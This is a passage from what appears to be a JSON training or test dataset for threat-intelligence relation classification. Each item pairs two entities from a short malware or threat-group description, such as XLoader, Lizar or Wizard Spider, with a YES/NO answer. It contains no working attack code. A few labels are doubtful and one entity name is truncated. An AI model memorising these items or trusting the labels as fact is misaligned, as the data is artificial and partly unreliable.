of four surveillanceware tools that share a common C2 infrastructure. CarbonSteal primarily deals with audio surveillance.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nCSPY Downloader\n### Target Entity: schtasks\n### Text Passage:\nCSPY Downloader can use the schtasks utility to bypass UAC.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nAPT-C-23\n### Target Entity: Phenakite\n### Text Passage:\nPhenakite is a mobile malware that is used by APT-C-23 to target iOS devices. According to several reports, Phenakite was developed to fill a tooling gap and to target those who owned iPhones instead of Windows desktops or Android phones.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nPhenakite\n### Target Entity: iOS\n### Text Passage:\nPhenakite is a mobile malware that is used by APT-C-23 to target iOS devices. According to several reports, Phenakite was developed to fill a tooling gap and to target those who owned iPhones instead of Windows desktops or Android phones.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nAndroid\n### Target Entity: APT-C-23\n### Text Passage:\nPhenakite is a mobile malware that is used by APT-C-23 to target iOS devices. According to several reports, Phenakite was developed to fill a tooling gap and to target those who owned iPhones instead of Windows desktops or Android phones.\n", + "output": "NO" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nRCSession\n### Target Entity: C++\n### Text Passage:\nRCSession is a backdoor written in C++ that has been in use since at least 2018 by Mustang Panda and by Threat Group-3390 (Type II Backdoor).\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nMustang Panda\n### Target Entity: RCSession\n### Text Passage:\nRCSession is a backdoor written in C++ that has been in use since at least 2018 by Mustang Panda and by Threat Group-3390 (Type II Backdoor).\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nThreat Group-3390\n### Target Entity: RCSession\n### Text Passage:\nRCSession is a backdoor written in C++ that has been in use since at least 2018 by Mustang Panda and by Threat Group-3390 (Type II Backdoor).\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nThreat Group-3390\n### Target Entity: C++\n### Text Passage:\nRCSession is a backdoor written in C++ that has been in use since at least 2018 by Mustang Panda and by Threat Group-3390 (Type II Backdoor).\n", + "output": "NO" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nWireLurker\n### Target Entity: macOS\n### Text Passage:\nWireLurker is a family of macOS malware that targets iOS devices connected over USB.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nWireLurker\n### Target Entity: iOS\n### Text Passage:\nWireLurker is a family of macOS malware that targets iOS devices connected over USB.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nmacOS\n### Target Entity: iOS\n### Text Passage:\nWireLurker is a family of macOS malware that targets iOS devices connected over USB.\n", + "output": "NO" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nTA551\n### Target Entity: Ursnif\n### Text Passage:\nIt is known by other security firms as Shathak. Proofpoint assesses with high confidence TA551 gains access to stolen messages or compromised email accounts \u2013 also known as thread hijacking \u2013 which it uses in email campaigns to distribute malware. TA551 has previously distributed malware payloads such as Ursnif, IcedID, Qbot, and Emotet.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nTA551\n### Target Entity: IcedID\n### Text Passage:\nIt is known by other security firms as Shathak. Proofpoint assesses with high confidence TA551 gains access to stolen messages or compromised email accounts \u2013 also known as thread hijacking \u2013 which it uses in email campaigns to distribute malware. TA551 has previously distributed malware payloads such as Ursnif, IcedID, Qbot, and Emotet.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nTA551\n### Target Entity: Qbot\n### Text Passage:\nIt is known by other security firms as Shathak. Proofpoint assesses with high confidence TA551 gains access to stolen messages or compromised email accounts \u2013 also known as thread hijacking \u2013 which it uses in email campaigns to distribute malware. TA551 has previously distributed malware payloads such as Ursnif, IcedID, Qbot, and Emotet.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nTA551\n### Target Entity: Emotet\n### Text Passage:\nIt is known by other security firms as Shathak. Proofpoint assesses with high confidence TA551 gains access to stolen messages or compromised email accounts \u2013 also known as thread hijacking \u2013 which it uses in email campaigns to distribute malware. TA551 has previously distributed malware payloads such as Ursnif, IcedID, Qbot, and Emotet.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nEmotet\n### Target Entity: Shathak\n### Text Passage:\nIt is known by other security firms as Shathak. Proofpoint assesses with high confidence TA551 gains access to stolen messages or compromised email accounts \u2013 also known as thread hijacking \u2013 which it uses in email campaigns to distribute malware. TA551 has previously distributed malware payloads such as Ursnif, IcedID, Qbot, and Emotet.\n", + "output": "NO" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nCorona Updates\n### Target Entity: Android\n### Text Passage:\nCorona Updates is Android spyware that took advantage of the Coronavirus pandemic. The campaign distributing this spyware is tracked as Project Spy. Multiple variants of this spyware have been discovered to have been hosted on the Google Play Store.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nProject Spy\n### Target Entity: Google Play\n### Text Passage:\nCorona Updates is Android spyware that took advantage of the Coronavirus pandemic. The campaign distributing this spyware is tracked as Project Spy. Multiple variants of this spyware have been discovered to have been hosted on the Google Play Store.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nHelminth\n### Target Entity: C2\n### Text Passage:\nHelminth splits data into chunks up to 23 bytes and sends the data in DNS queries to its C2 server.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nDaserf\n### Target Entity: Mimikatz\n### Text Passage:\nDaserf leverages Mimikatz and Windows Credential Editor to steal credentials.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nDaserf\n### Target Entity: Windows Credential Editor\n### Text Passage:\nDaserf leverages Mimikatz and Windows Credential Editor to steal credentials.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nRover\n### Target Entity: C2\n### Text Passage:\nRover automatically searches for files on local drives based on a predefined list of file extensions and sends them to the command and control server every 60 minutes. Rover also automatically sends keylogger files and screenshots to the C2 server on a regular timeframe.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nWizard Spider\n### Target Entity: Rubeus\n### Text Passage:\nWizard Spider has used Rubeus, MimiKatz Kerberos module, and the Invoke-Kerberoast cmdlet to steal AES hashes.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nWizard Spider\n### Target Entity: MimiKatz Kerberos\n### Text Passage:\nWizard Spider has used Rubeus, MimiKatz Kerberos module, and the Invoke-Kerberoast cmdlet to steal AES hashes.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nWizard Spider\n### Target Entity: nvoke-Kerberoast cmdlet\n### Text Passage:\nWizard Spider has used Rubeus, MimiKatz Kerberos module, and the Invoke-Kerberoast cmdlet to steal AES hashes.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nLizar\n### Target Entity: .NET\n### Text Passage:\nLizar is a modular remote access tool written using the .NET Framework that shares structural similarities to Carbanak. It has likely been used by FIN7 since at least February 2021.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nLizar\n### Target Entity: Carbanak\n### Text Passage:\nLizar is a modular remote access tool written using the .NET Framework that shares structural similarities to Carbanak. It has likely been used by FIN7 since at least February 2021.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nFIN7\n### Target Entity: Lizar\n### Text Passage:\nLizar is a modular remote access tool written using the .NET Framework that shares structural similarities to Carbanak. It has likely been used by FIN7 since at least February 2021.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nFIN7\n### Target Entity: .NET\n### Text Passage:\nLizar is a modular remote access tool written using the .NET Framework that shares structural similarities to Carbanak. It has likely been used by FIN7 since at least February 2021.\n", + "output": "NO" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nPeirates\n### Target Entity: Kubernetes\n### Text Passage:\nPeirates is a post-exploitation Kubernetes exploitation framework with a focus on gathering service account tokens for lateral movement and privilege escalation. The tool is written in GoLang and publicly available on GitHub.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nPeirates\n### Target Entity: GoLang\n### Text Passage:\nPeirates is a post-exploitation Kubernetes exploitation framework with a focus on gathering service account tokens for lateral movement and privilege escalation. The tool is written in GoLang and publicly available on GitHub.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nPeirates\n### Target Entity: GitHub\n### Text Passage:\nPeirates is a post-exploitation Kubernetes exploitation framework with a focus on gathering service account tokens for lateral movement and privilege escalation. The tool is written in GoLang and publicly available on GitHub.\n", + "output": "NO" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nRamsay\n### Target Entity: AppInit\n### Text Passage:\nRamsay can insert itself into the address space of other applications using the AppInit DLL Registry key.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nFakeSpy\n### Target Entity: Android\n### Text Passage:\nFakeSpy is Android spyware that has been operated by the Chinese threat actor behind the Roaming Mantis campaigns.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nFakeSpy\n### Target Entity: Chinese\n### Text Passage:\nFakeSpy is Android spyware that has been operated by the Chinese threat actor behind the Roaming Mantis campaigns.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nAndroid\n### Target Entity: Roaming Mantis\n### Text Passage:\nFakeSpy is Android spyware that has been operated by the Chinese threat actor behind the Roaming Mantis campaigns.\n", + "output": "NO" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nSpark\n### Target Entity: cmd.exe\n### Text Passage:\nSpark can use cmd.exe to run commands.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nRuler\n### Target Entity: Outlook\n### Text Passage:\nRuler can be used to automate the abuse of Outlook Home Pages to establish persistence.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\ncertutil\n### Target Entity: KONNI\n### Text Passage:\nKONNI has used certutil to download and decode base64 encoded strings.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nAction RAT\n### Target Entity: Delphi\n### Text Passage:\nAction RAT is a remote access tool written in Delphi that has been used by SideCopy since at least December 2021 against Indian and Afghani government personnel.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nSideCopy\n### Target Entity: Action RAT\n### Text Passage:\nAction RAT is a remote access tool written in Delphi that has been used by SideCopy since at least December 2021 against Indian and Afghani government personnel.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nAction RAT\n### Target Entity: Indian\n### Text Passage:\nAction RAT is a remote access tool written in Delphi that has been used by SideCopy since at least December 2021 against Indian and Afghani government personnel.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nAction RAT\n### Target Entity: Afghani\n### Text Passage:\nAction RAT is a remote access tool written in Delphi that has been used by SideCopy since at least December 2021 against Indian and Afghani government personnel.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nRotexy\n### Target Entity: Android\n### Text Passage:\nRotexy is an Android banking malware that has evolved over several years. It was originally an SMS spyware Trojan first spotted in October 2014, and since then has evolved to contain more features, including ransomware functionality.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nChina\n### Target Entity: Cuba\n### Text Passage:\nThe COVID-19 pandemic and consequent lockdowns has\u00a0also interrupted global supply chains, highlighting\u00a0global\u00a0interdependencies and pushing\u00a0states to enhance home-grown industries. For example, the Monetary Authority of Singapore (MAS)\u00a0recently imposed measures\u00a0which require all financial institutions to assess supplier third-party technology vendors, ranging from\u00a0an evaluation of\u00a0security measures to assuring safe programming practices. In addition, the US Department of Commerce issued an interim final ruling\u00a0on the Information and Communications Technology and Services (ICTS) supply chain\u00a0designed to prohibit certain ICTS Transactions from listed foreign adversaries\u00a0including China, Russia, Iran, North Korea, Cuba,\u00a0and Venezuela.\n", + "output": "NO" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nZen\n### Target Entity: Android\n### Text Passage:\nZen is Android malware that was first seen in 2013.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nOldsmar Treatment Plant Intrusion\n### Target Entity: Florida\n### Text Passage:\nOldsmar Treatment Plant Intrusion was a cyber incident involving a water treatment facility in Florida. During this incident, unidentified threat actors leveraged features of the system to access and modify setpoints for a specific chemical required in the treatment process. The incident was detected immediately and prevented before it could cause any harm to the public.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nFakecalls\n### Target Entity: Android\n### Text Passage:\nFakecalls is an Android trojan, first detected in January 2021, that masquerades as South Korean banking apps. It has capabilities to intercept calls to banking institutions and even maintain realistic dialogues with the victim using pre-recorded audio snippets.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nFakecalls\n### Target Entity: South Korean\n### Text Passage:\nFakecalls is an Android trojan, first detected in January 2021, that masquerades as South Korean banking apps. It has capabilities to intercept calls to banking institutions and even maintain realistic dialogues with the victim using pre-recorded audio snippets.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nLaZagne\n### Target Entity: macOS\n### Text Passage:\nLaZagne can obtain credentials from macOS Keychains.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nOutSteel\n### Target Entity: AutoIT\n### Text Passage:\nOutSteel is a file uploader and document stealer developed with the scripting language AutoIT that has been used by Ember Bear since at least March 2021.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nEmber Bear\n### Target Entity: OutSteel\n### Text Passage:\nOutSteel is a file uploader and document stealer developed with the scripting language AutoIT that has been used by Ember Bear since at least March 2021.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nXLoader\n### Target Entity: Android\n### Text Passage:\nXLoader for Android is a malicious Android app first observed targeting Japan, Korea, China, Taiwan, and Hong Kong in 2018. It has more recently been observed targeting South Korean users as a pornography application.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nXLoader\n### Target Entity: Japan\n### Text Passage:\nXLoader for Android is a malicious Android app first observed targeting Japan, Korea, China, Taiwan, and Hong Kong in 2018. It has more recently been observed targeting South Korean users as a pornography application.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nXLoader\n### Target Entity: Korea\n### Text Passage:\nXLoader for Android is a malicious Android app first observed targeting Japan, Korea, China, Taiwan, and Hong Kong in 2018. It has more recently been observed targeting South Korean users as a pornography application.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nXLoader\n### Target Entity: China\n### Text Passage:\nXLoader for Android is a malicious Android app first observed targeting Japan, Korea, China, Taiwan, and Hong Kong in 2018. It has more recently been observed targeting South Korean users as a pornography application.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nXLoader\n### Target Entity: Taiwan\n### Text Passage:\nXLoader for Android is a malicious Android app first observed targeting Japan, Korea, China, Taiwan, and Hong Kong in 2018. It has more recently been observed targeting South Korean users as a pornography application.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nXLoader\n### Target Entity: Hong Kong\n### Text Passage:\nXLoader for Android is a malicious Android app first observed targeting Japan, Korea, China, Taiwan, and Hong Kong in 2018. It has more recently been observed targeting South Korean users as a pornography application.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nXLoader\n### Target Entity: South Korean\n### Text Passage:\nXLoader for Android is a malicious Android app first observed targeting Japan, Korea, China, Taiwan, and Hong Kong in 2018. It has more recently been observed targeting South Korean users as a pornography application.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nSouth Korean\n### Target Entity: Taiwan\n### Text Passage:\nXLoader for Android is a malicious Android app first observed targeting Japan, Korea, China, Taiwan, and Hong Kong in 2018. It has more recently been observed targeting South Korean users as a pornography application.\n", + "output": "NO" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nDualToy\n### Target Entity: Windows\n### Text Passage:\nDualToy is Windows malware that installs malicious applications onto Android and iOS devices connected over USB.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful 